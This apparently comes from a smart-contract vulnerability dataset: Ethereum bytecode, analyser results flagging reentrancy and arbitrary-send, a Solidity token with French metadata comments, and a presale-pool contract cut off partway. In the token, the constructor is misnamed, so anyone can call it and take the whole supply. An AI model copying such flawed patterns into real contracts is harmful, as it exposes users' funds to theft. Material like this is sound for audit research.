2ac28882612a54565b9750612acd83613093565b925050600181019050612aae565b5085935050505092915050565b612af1816131e9565b82525050565b612b008161322c565b82525050565b6000612b1182613088565b612b1b81856130b1565b9350612b2b81856020860161323e565b612b34816133bb565b840191505092915050565b6000612b4c6023836130b1565b9150612b57826133cc565b604082019050919050565b6000612b6f602a836130b1565b9150612b7a8261341b565b604082019050919050565b6000612b926022836130b1565b9150612b9d8261346a565b604082019050919050565b6000612bb5601b836130b1565b9150612bc0826134b9565b602082019050919050565b6000612bd8601d836130b1565b9150612be3826134e2565b602082019050919050565b6000612bfb6021836130b1565b9150612c068261350b565b604082019050919050565b6000612c1e6020836130b1565b9150612c298261355a565b602082019050919050565b6000612c416029836130b1565b9150612c4c82613583565b604082019050919050565b6000612c646025836130b1565b9150612c6f826135d2565b604082019050919050565b6000612c876024836130b1565b9150612c9282613621565b604082019050919050565b6000612caa6017836130b1565b9150612cb582613670565b602082019050919050565b6000612ccd6011836130b1565b9150612cd882613699565b602082019050919050565b612cec81613215565b82525050565b612cfb8161321f565b82525050565b6000602082019050612d166000830184612a7b565b92915050565b6000604082019050612d316000830185612a7b565b612d3e6020830184612a7b565b9392505050565b6000604082019050612d5a6000830185612a7b565b612d676020830184612ce3565b9392505050565b600060c082019050612d836000830189612a7b565b612d906020830188612ce3565b612d9d6040830187612af7565b612daa6060830186612af7565b612db76080830185612a7b565b612dc460a0830184612ce3565b979650505050505050565b6000602082019050612de46000830184612ae8565b92915050565b60006020820190508181036000830152612e048184612b06565b905092915050565b60006020820190508181036000830152612e2581612b3f565b9050919050565b60006020820190508181036000830152612e4581612b62565b9050919050565b60006020820190508181036000830152612e6581612b85565b9050919050565b60006020820190508181036000830152612e8581612ba8565b9050919050565b60006020820190508181036000830152612ea581612bcb565b9050919050565b60006020820190508181036000830152612ec581612bee565b9050919050565b60006020820190508181036000830152612ee581612c11565b9050919050565b60006020820190508181036000830152612f0581612c34565b9050919050565b60006020820190508181036000830152612f2581612c57565b9050919050565b60006020820190508181036000830152612f4581612c7a565b9050919050565b60006020820190508181036000830152612f6581612c9d565b9050919050565b60006020820190508181036000830152612f8581612cc0565b9050919050565b6000602082019050612fa16000830184612ce3565b92915050565b600060a082019050612fbc6000830188612ce3565b612fc96020830187612af7565b8181036040830152612fdb8186612a8a565b9050612fea6060830185612a7b565b612ff76080830184612ce3565b9695505050505050565b60006020820190506130166000830184612cf2565b92915050565b6000613026613037565b90506130328282613271565b919050565b6000604051905090565b600067ffffffffffffffff82111561305c5761305b613378565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130cd82613215565b91506130d883613215565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561310d5761310c6132eb565b5b828201905092915050565b600061312382613215565b915061312e83613215565b92508261313e5761313d61331a565b5b828204905092915050565b600061315482613215565b915061315f83613215565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613198576131976132eb565b5b828202905092915050565b60006131ae82613215565b91506131b983613215565b9250828210156131cc576131cb6132eb565b5b828203905092915050565b60006131e2826131f5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323782613215565b9050919050565b60005b8381101561325c578082015181840152602081019050613241565b8381111561326b576000848401525b50505050565b61327a826133bb565b810181811067ffffffffffffffff8211171561329957613298613378565b5b80604052505050565b60006132ad82613215565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132e0576132df6132eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136cb816131d7565b81146136d657600080fd5b50565b6136e2816131e9565b81146136ed57600080fd5b50565b6136f981613215565b811461370457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220028beb79f5d3480b39dc5ac2b9b0796abdf135bb15103a97cdb47f03711ba5d464736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,666
0x96f553b19540c8cdc03cd981c66b9964be4377d0
pragma solidity ^0.4.21 ; contract FGRE_Portfolio_II_883 { mapping (address => uint256) public balanceOf; string public name = " FGRE_Portfolio_II_883 " ; string public symbol = " FGRE883II " ; uint8 public decimals = 18 ; uint256 public totalSupply = 27616600125087200000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender's balance balanceOf[to] += value; // add to recipient's balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } // } // Programme d'émission - Lignes 1 à 10 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < FGRE_Portfolio_II_metadata_line_1_____Caisse_Centrale_de_Reassurance_20580515 > // < qJH456shAVxlEf54A8FO7cJo4E9w0Xc1Rte2EJ1u73Z9Vw3pu1ne03ZgIn2o3E8m > // < 1E-018 limites [ 1E-018 ; 71629097,3929053 ] > // < 0x00000000000000000000000000000000000000000000000000000000006D4C1E > // < FGRE_Portfolio_II_metadata_line_2_____CCR_FGRE_Fonds_de_Garantie_des_Risques_liés_a_l_Epandage_des_Boues_d_Epuration_Urbaines_et_Industrielles_i_20580515 > // < 79C907463mh7j2sL5iKHJMsFUzIWeh7K4Pyy71t11aRLJ3cj2Z9wDAn6r2jz05g6 > // < 1E-018 limites [ 71629097,3929053 ; 219337972,168712 ] > // < 0x0000000000000000000000000000000000000000000000000006D4C1E14EAEE5 > // < FGRE_Portfolio_II_metadata_line_3_____CCR_FGRE_Fonds_de_Garantie_des_Risques_liés_a_l_Epandage_des_Boues_d_Epuration_Urbaines_et_Industrielles_ii_20580515 > // < 1DVsuw99psx9wE360Uz9fVsaaF33dLj6FP4Qt5D4g0K6m3Y9e1BmD0R6Z95zkuLZ > // < 1E-018 limites [ 219337972,168712 ; 1435018837,45658 ] > // < 0x0000000000000000000000000000000000000000000000000014EAEE588DAA3C > // < FGRE_Portfolio_II_metadata_line_4_____FGRE__Cap_default_20580515 > // < eop5ro1ow1CAbTF1VGwIZFLLk77c6EuCYQ6zN6r71AW8JjKv5tv99G0i573BFOIM > // < 1E-018 limites [ 1435018837,45658 ; 1526318567,62157 ] > // < 0x0000000000000000000000000000000000000000000000000088DAA3C918FA31 > // < FGRE_Portfolio_II_metadata_line_5_____FGRE__Cap_lim_20580515 > // < x3Phom69re0vLi72J8vbk2W5097YkKW8VdPSiGXrKQmgxwpM5w61iF55xru2b5y5 > // < 1E-018 limites [ 1526318567,62157 ; 2825094805,14306 ] > // < 0x0000000000000000000000000000000000000000000000000918FA3110D6C0A9 > // < FGRE_Portfolio_II_metadata_line_6_____FGRE__Cap_ill_20580515 > // < VTi58x8VQ52xnxT150N4P2z57zS25Gm8BcnMqH58e9i1DXF95hIEw49f9f1S9o94 > // < 1E-018 limites [ 2825094805,14306 ; 3323729939,28347 ] > // < 0x00000000000000000000000000000000000000000000000010D6C0A913CF9C02 > // < FGRE_Portfolio_II_metadata_line_7_____FGRE__Tre_Cap_1_20580515 > // < 6J26UJqpL2eG9J17Id44fw675tiuAJ7090WMK8AVH1N2p9rI34r8An6SKgxo6GQd > // < 1E-018 limites [ 3323729939,28347 ; 3441598939,90094 ] > // < 0x00000000000000000000000000000000000000000000000013CF9C0214837696 > // < FGRE_Portfolio_II_metadata_line_8_____FGRE__Tre_Cap_2_20580515 > // < Q3S67TN6BpQcKXiWjTZEN10un2ftqh5t7tlf22Y8mYVKn78S0b7767C99LOv8Ao5 > // < 1E-018 limites [ 3441598939,90094 ; 3531740815,47801 ] > // < 0x00000000000000000000000000000000000000000000000014837696150D0242 > // < FGRE_Portfolio_II_metadata_line_9_____FGRE__Fac_Cap_1_20580515 > // < YdKJcopsJf3eBYyM9r69S2s3Cv4C23ovzE44g6b1eN01tKzKxeJ5xm9QW14fa1Fu > // < 1E-018 limites [ 3531740815,47801 ; 3635901445,63885 ] > // < 0x000000000000000000000000000000000000000000000000150D024215ABF201 > // < FGRE_Portfolio_II_metadata_line_10_____FGRE__Fac_Cap_2_20580515 > // < 6ym5BL1Sexqs8Kx29LGGZ5e77uIz2ACQcJ4I8SMnfWj544H1FD893l257sUhmF8K > // < 1E-018 limites [ 3635901445,63885 ; 4568661469,69768 ] > // < 0x00000000000000000000000000000000000000000000000015ABF2011B3B3963 > // Programme d'émission - Lignes 11 à 20 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < FGRE_Portfolio_II_metadata_line_11_____FGRE__Cap_default_iii_origin_p_C_default_20580515 > // < 0XKML8TV7B9odO4D5Gb1Fd5m4754EsA65x4oxGi8hcCr5t2ij4V9b8in4VzP73sz > // < 1E-018 limites [ 4568661469,69768 ; 5629055858,9209 ] > // < 0x0000000000000000000000000000000000000000000000001B3B3963218D41F2 > // < FGRE_Portfolio_II_metadata_line_12_____FGRE__Cap_default_iii_origin_p_iii_default_20580515 > // < 0jkRj2MmTwQAl2A6V5i6xold1kcqdBH6423M38JNV8F8FwFiheyh98pCiMb03431 > // < 1E-018 limites [ 5629055858,9209 ; 6049295441,87584 ] > // < 0x000000000000000000000000000000000000000000000000218D41F2240E7E08 > // < FGRE_Portfolio_II_metadata_line_13_____FGRE__Cap_lim_iii_origin_p_C_default_20580515 > // < z09v8iK7s858Oco1v8d45O06GOid4O716s44txbfto66kP2Y6N0D2ywfGI7nWs87 > // < 1E-018 limites [ 6049295441,87584 ; 6895400277,11564 ] > // < 0x000000000000000000000000000000000000000000000000240E7E0829198BBC > // < FGRE_Portfolio_II_metadata_line_14_____FGRE__Cap_lim_iii_origin_p_iii_default_20580515 > // < aoj358690I3zh8Tq4FAnpfB5lQSB95r472on527a8OR4dG61WtbBG741DFAqq4Zc > // < 1E-018 limites [ 6895400277,11564 ; 8328045361,08831 ] > // < 0x00000000000000000000000000000000000000000000000029198BBC31A396B8 > // < FGRE_Portfolio_II_metadata_line_15_____FGRE__Cap_ill_iii_origin_p_C_default_20580515 > // < QdX9Km1HXjGJgYqo1xqla46W43FlR199LF09o1WTM6AD89OiPYK4eoLg4DcYE1o2 > // < 1E-018 limites [ 8328045361,08831 ; 9439303492,65989 ] > // < 0x00000000000000000000000000000000000000000000000031A396B838433BED > // < FGRE_Portfolio_II_metadata_line_16_____FGRE__Cap_ill_iii_origin_p_iii_default_20580515 > // < jv0Z4Y251GGad1lh34PRBKwl7lmUwY0MOL8TiV5o7U5X9s4FqAo4j7bh618ZALY3 > // < 1E-018 limites [ 9439303492,65989 ; 10541590279,1838 ] > // < 0x00000000000000000000000000000000000000000000000038433BED3ED530B4 > // < FGRE_Portfolio_II_metadata_line_17_____FGRE__Tre_Cap_3_20580515 > // < FD235ETy6VjNHv8QP8qb5y6Z5FI08g2eZ1o0sOXV7aNmM3d2lA24Y25ZAlXLam74 > // < 1E-018 limites [ 10541590279,1838 ; 10857051123,6721 ] > // < 0x0000000000000000000000000000000000000000000000003ED530B440B68B98 > // < FGRE_Portfolio_II_metadata_line_18_____FGRE__Tre_Cap_4_20580515 > // < LN59S23J8jkkrV41l9kpv5vW5PBi9V6tL97lxpC42549LtHbkX54FuNVdw4q63It > // < 1E-018 limites [ 10857051123,6721 ; 11060046599,4754 ] > // < 0x00000000000000000000000000000000000000000000000040B68B9841EC4AB4 > // < FGRE_Portfolio_II_metadata_line_19_____FGRE__Fac_Cap_3_20580515 > // < Uf6R2KE26Q5hwp0XQ92bwb1VQYa97f7atC1KNZA236aF97ImaV27Ty5o4cx2S7bv > // < 1E-018 limites [ 11060046599,4754 ; 11179474573,7217 ] > // < 0x00000000000000000000000000000000000000000000000041EC4AB442A28641 > // < FGRE_Portfolio_II_metadata_line_20_____FGRE__Fac_Cap_4_20580515 > // < 6e0Pzp56Ugq2hyL4S840hL9HKb913bZ9m0dd8kslj9X7pe9vCrUEWVvI1eT55Ynt > // < 1E-018 limites [ 11179474573,7217 ; 12150811562,5234 ] > // < 0x00000000000000000000000000000000000000000000000042A28641486CAAC4 > // Programme d'émission - Lignes 21 à 30 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < FGRE_Portfolio_II_metadata_line_21_____FGRE__C_default_20580515 > // < Ux3NWNppH1RuPk0N75wDL33WBBmsb0ffR64W0h0u005u8ldtjqj07Z7vpK62k9uD > // < 1E-018 limites [ 12150811562,5234 ; 12878870143,632 ] > // < 0x000000000000000000000000000000000000000000000000486CAAC44CC398A6 > // < FGRE_Portfolio_II_metadata_line_22_____FGRE__Tre_C_1_20580515 > // < 6N3OVIrL4k076t3085DB79v19XZO2395hw51POg8A21A25UG0ziW5nrrl0wnzZ8m > // < 1E-018 limites [ 12878870143,632 ; 13197987234,1808 ] > // < 0x0000000000000000000000000000000000000000000000004CC398A64EAA87C3 > // < FGRE_Portfolio_II_metadata_line_23_____FGRE__Tre_C_2_20580515 > // < 47k50q7V0387qtMgp03OLDR59DABiry3jngMT0nbjbrmLo38UkjgH151gyL8vOtC > // < 1E-018 limites [ 13197987234,1808 ; 13647709269,9694 ] > // < 0x0000000000000000000000000000000000000000000000004EAA87C35158C06F > // < FGRE_Portfolio_II_metadata_line_24_____FGRE__Fac_C_1_20580515 > // < awA7jant85id1fKnunDFfi6Q8vZcG65LSegkV4p9ONQow434TU33YOsfxmDi9Xyk > // < 1E-018 limites [ 13647709269,9694 ; 13850646362,7421 ] > // < 0x0000000000000000000000000000000000000000000000005158C06F528E68BC > // < FGRE_Portfolio_II_metadata_line_25_____FGRE__Fac_C_2_20580515 > // < ta2ofDGjv9oI2kQw4v9NQNdJnhd6a8J6Hy68M2q79w5smV2BK6Otzs3mwCo2mWph > // < 1E-018 limites [ 13850646362,7421 ; 14018441531,3877 ] > // < 0x000000000000000000000000000000000000000000000000528E68BC538E71B9 > // < FGRE_Portfolio_II_metadata_line_26_____FGRE__IV_default_20580515 > // < QFc3Cfb208aATDv3WPF57w5ne7cNZca6i0a1U9sx6z32nKEwb3R0YRKNkF3GP955 > // < 1E-018 limites [ 14018441531,3877 ; 15707235010,5298 ] > // < 0x000000000000000000000000000000000000000000000000538E71B95D9F56AD > // < FGRE_Portfolio_II_metadata_line_27_____FGRE__Tre_iv_1_20580515 > // < qG3XDlAlmd69Y6kE5t52MEn6jrnAMvu2Z9zS42p04G20Wtcg28egynj8ozipno91 > // < 1E-018 limites [ 15707235010,5298 ; 15801136464,6251 ] > // < 0x0000000000000000000000000000000000000000000000005D9F56AD5E2E9EEE > // < FGRE_Portfolio_II_metadata_line_28_____FGRE__Tre_iv_2_20580515 > // < AD8TthMkjUn13ob1SOgcAp1EfQi92v85DvH1oz6m4uJZ439l2CluEvGHJ45nd1pm > // < 1E-018 limites [ 15801136464,6251 ; 18510047623,3186 ] > // < 0x0000000000000000000000000000000000000000000000005E2E9EEE6E54175A > // < FGRE_Portfolio_II_metadata_line_29_____FGRE__Fac_iv_1_20580515 > // < 6j7RiXl20TVGz37sg7vm23k7noG3d93k9cYCW7klrF4ASJ9H3A2C0elD7kqfZBz1 > // < 1E-018 limites [ 18510047623,3186 ; 19462887700,4856 ] > // < 0x0000000000000000000000000000000000000000000000006E54175A74020282 > // < FGRE_Portfolio_II_metadata_line_30_____FGRE__Fac_iv_2_20580515 > // < s1q9pe2xpoz2kD94LEuO29W7i9hrT2EGR09Fu7251La3Q96pMp0b9w0ZWui2bJsI > // < 1E-018 limites [ 19462887700,4856 ; 19651486962,9987 ] > // < 0x000000000000000000000000000000000000000000000000740202827521CA18 > // Programme d'émission - Lignes 31 à 40 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < FGRE_Portfolio_II_metadata_line_31_____FGRE__Cx_default_20580515 > // < vaJ191Tj2pk8wc60nH8ztlcSYF11GsQ39o9eoLFXPO368JKrTE79Z9S9AQbkhof0 > // < 1E-018 limites [ 19651486962,9987 ; 20586488342,4875 ] > // < 0x0000000000000000000000000000000000000000000000007521CA187AB47D02 > // < FGRE_Portfolio_II_metadata_line_32_____FGRE__Tre_Cx_1_20580515 > // < 0TeI5ECMIJcje19mNR7nLW7oAp04UpS3224waK6VCqaMjH9ZMHQ3YmGMrxV009M3 > // < 1E-018 limites [ 20586488342,4875 ; 20691762282,7993 ] > // < 0x0000000000000000000000000000000000000000000000007AB47D027B551FA4 > // < FGRE_Portfolio_II_metadata_line_33_____FGRE__Tre_Cx_2_20580515 > // < L781lq0mdkA6c7V3M12wB236y2Gjd47o67FKYqD2QZ4Y3u75pI0BN5Gn87bCplaJ > // < 1E-018 limites [ 20691762282,7993 ; 20915421507,0282 ] > // < 0x0000000000000000000000000000000000000000000000007B551FA47CAA6687 > // < FGRE_Portfolio_II_metadata_line_34_____FGRE__Fac_Cx_1_20580515 > // < N8GF9znNSkfZP0m5nX32isqojwVb31EC69Jc3B6K7Z6O1OQz2DTXEfu1tov652e4 > // < 1E-018 limites [ 20915421507,0282 ; 21080512678,7107 ] > // < 0x0000000000000000000000000000000000000000000000007CAA66877DA64F44 > // < FGRE_Portfolio_II_metadata_line_35_____FGRE__Fac_Cx_2_20580515 > // < UW8wwNjDVF6Xh2G55b5k6U4Fr8FFAFC5xrJk3I13KKZQJQHs62yMy6m2n498DV97 > // < 1E-018 limites [ 21080512678,7107 ; 22322567851,328 ] > // < 0x0000000000000000000000000000000000000000000000007DA64F44850D8911 > // < FGRE_Portfolio_II_metadata_line_36_____FGRE__VIII_default_20580515 > // < yKz9Wt4X7u5mMNlesqGUJ0s41Ss9u289oDB1Iq5w6U1J4ALx307nw2zE7Fm5SUKU > // < 1E-018 limites [ 22322567851,328 ; ] > // < 0x000000000000000000000000000000000000000000000000850D89118B15375D > // < FGRE_Portfolio_II_metadata_line_37_____FGRE__Tre_viii_1_20580515 > // < U5H67WN5b3pXnXcnXRJ668qdKjf3q8N12rfn681fyxj1Rcr1P0fPmSUC64VJnWs4 > // < 1E-018 limites [ 23334234534,5793 ; 24872776038,9251 ] > // < 0x0000000000000000000000000000000000000000000000008B15375D9440D824 > // < FGRE_Portfolio_II_metadata_line_38_____FGRE__Tre_viii_2_20580515 > // < nG8OlLfN7KxHjEP0eHKYJWXxv5w7f6eWs2gX3X0n4073OFGNB7qz9g1A840Q7O7K > // < 1E-018 limites [ 24872776038,9251 ; 26252611921,4392 ] > // < 0x0000000000000000000000000000000000000000000000009440D8249C7A4E88 > // < FGRE_Portfolio_II_metadata_line_39_____FGRE__Fac_viii_1_20580515 > // < 9VkF505j12DzLwmihDcN6xB2WE38qFK1lUt427svq0OJe0kTX7fY2134rMIXKuan > // < 1E-018 limites [ 26252611921,4392 ; 27184179220,2758 ] > // < 0x0000000000000000000000000000000000000000000000009C7A4E88A207C402 > // < FGRE_Portfolio_II_metadata_line_40_____FGRE__Fac_viii_2_20580515 > // < b9k1tF01h18x578hIwRE9PeQaOhAaFonbku7tQJ406E7ZDq89yvaSNlX6Vii4922 > // < 1E-018 limites [ 27184179220,2758 ; 27616600125,0872 ] > // < 0x000000000000000000000000000000000000000000000000A207C402A49B966D > }
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a723058205b34632683c594265b97efd7d65b3042111bd66fb116f30c85145aa34db884570029
{"success": true, "error": null, "results": {}}
3,667
0x3c7320775ddcb1b8cfef283a65a75715a6ce4d03
// Author : shift pragma solidity ^0.4.18; //--------- OpenZeppelin&#39;s Safe Math //Source : https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } //----------------------------------------------------- // ERC20 Interface: https://github.com/ethereum/EIPs/issues/20 contract ERC20 { function transfer(address _to, uint256 _value) public returns (bool success); function balanceOf(address _owner) public constant returns (uint256 balance); } /* This contract stores twice every key value in order to be able to redistribute funds when the bonus tokens are received (which is typically X months after the initial buy). */ contract Moongang { using SafeMath for uint256; modifier onlyOwner { require(msg.sender == owner); _; } modifier minAmountReached { //In reality, the correct amount is the amount + 1% require(this.balance >= SafeMath.div(SafeMath.mul(min_amount, 100), 99)); _; } modifier underMaxAmount { require(max_amount == 0 || this.balance <= max_amount); _; } //Constants of the contract uint256 constant FEE = 100; //1% fee //SafeMath.div(20, 3) = 6 uint256 constant FEE_DEV = 6; //15% on the 1% fee uint256 constant FEE_AUDIT = 12; //7.5% on the 1% fee address public owner; address constant public developer = 0xEE06BdDafFA56a303718DE53A5bc347EfbE4C68f; address constant public auditor = 0x63F7547Ac277ea0B52A0B060Be6af8C5904953aa; uint256 public individual_cap; //Variables subject to changes uint256 public max_amount; //0 means there is no limit uint256 public min_amount; //Store the amount of ETH deposited by each account. mapping (address => uint256) public balances; mapping (address => uint256) public balances_bonus; // Track whether the contract has bought the tokens yet. bool public bought_tokens; // Record ETH value of tokens currently held by contract. uint256 public contract_eth_value; uint256 public contract_eth_value_bonus; //Set by the owner in order to allow the withdrawal of bonus tokens. bool public bonus_received; //The address of the contact. address public sale; //Token address ERC20 public token; //Records the fees that have to be sent uint256 fees; //Set by the owner. Allows people to refund totally or partially. bool public allow_refunds; //The reduction of the allocation in % | example : 40 -> 40% reduction uint256 public percent_reduction; bool public owner_supplied_eth; bool public allow_contributions; //Internal functions function Moongang(uint256 max, uint256 min, uint256 cap) { /* Constructor */ owner = msg.sender; max_amount = SafeMath.div(SafeMath.mul(max, 100), 99); min_amount = min; individual_cap = cap; allow_contributions = true; } //Functions for the owner // Buy the tokens. Sends ETH to the presale wallet and records the ETH amount held in the contract. function buy_the_tokens() onlyOwner minAmountReached underMaxAmount { //Avoids burning the funds require(!bought_tokens && sale != 0x0); //Record that the contract has bought the tokens. bought_tokens = true; //Sends the fee before so the 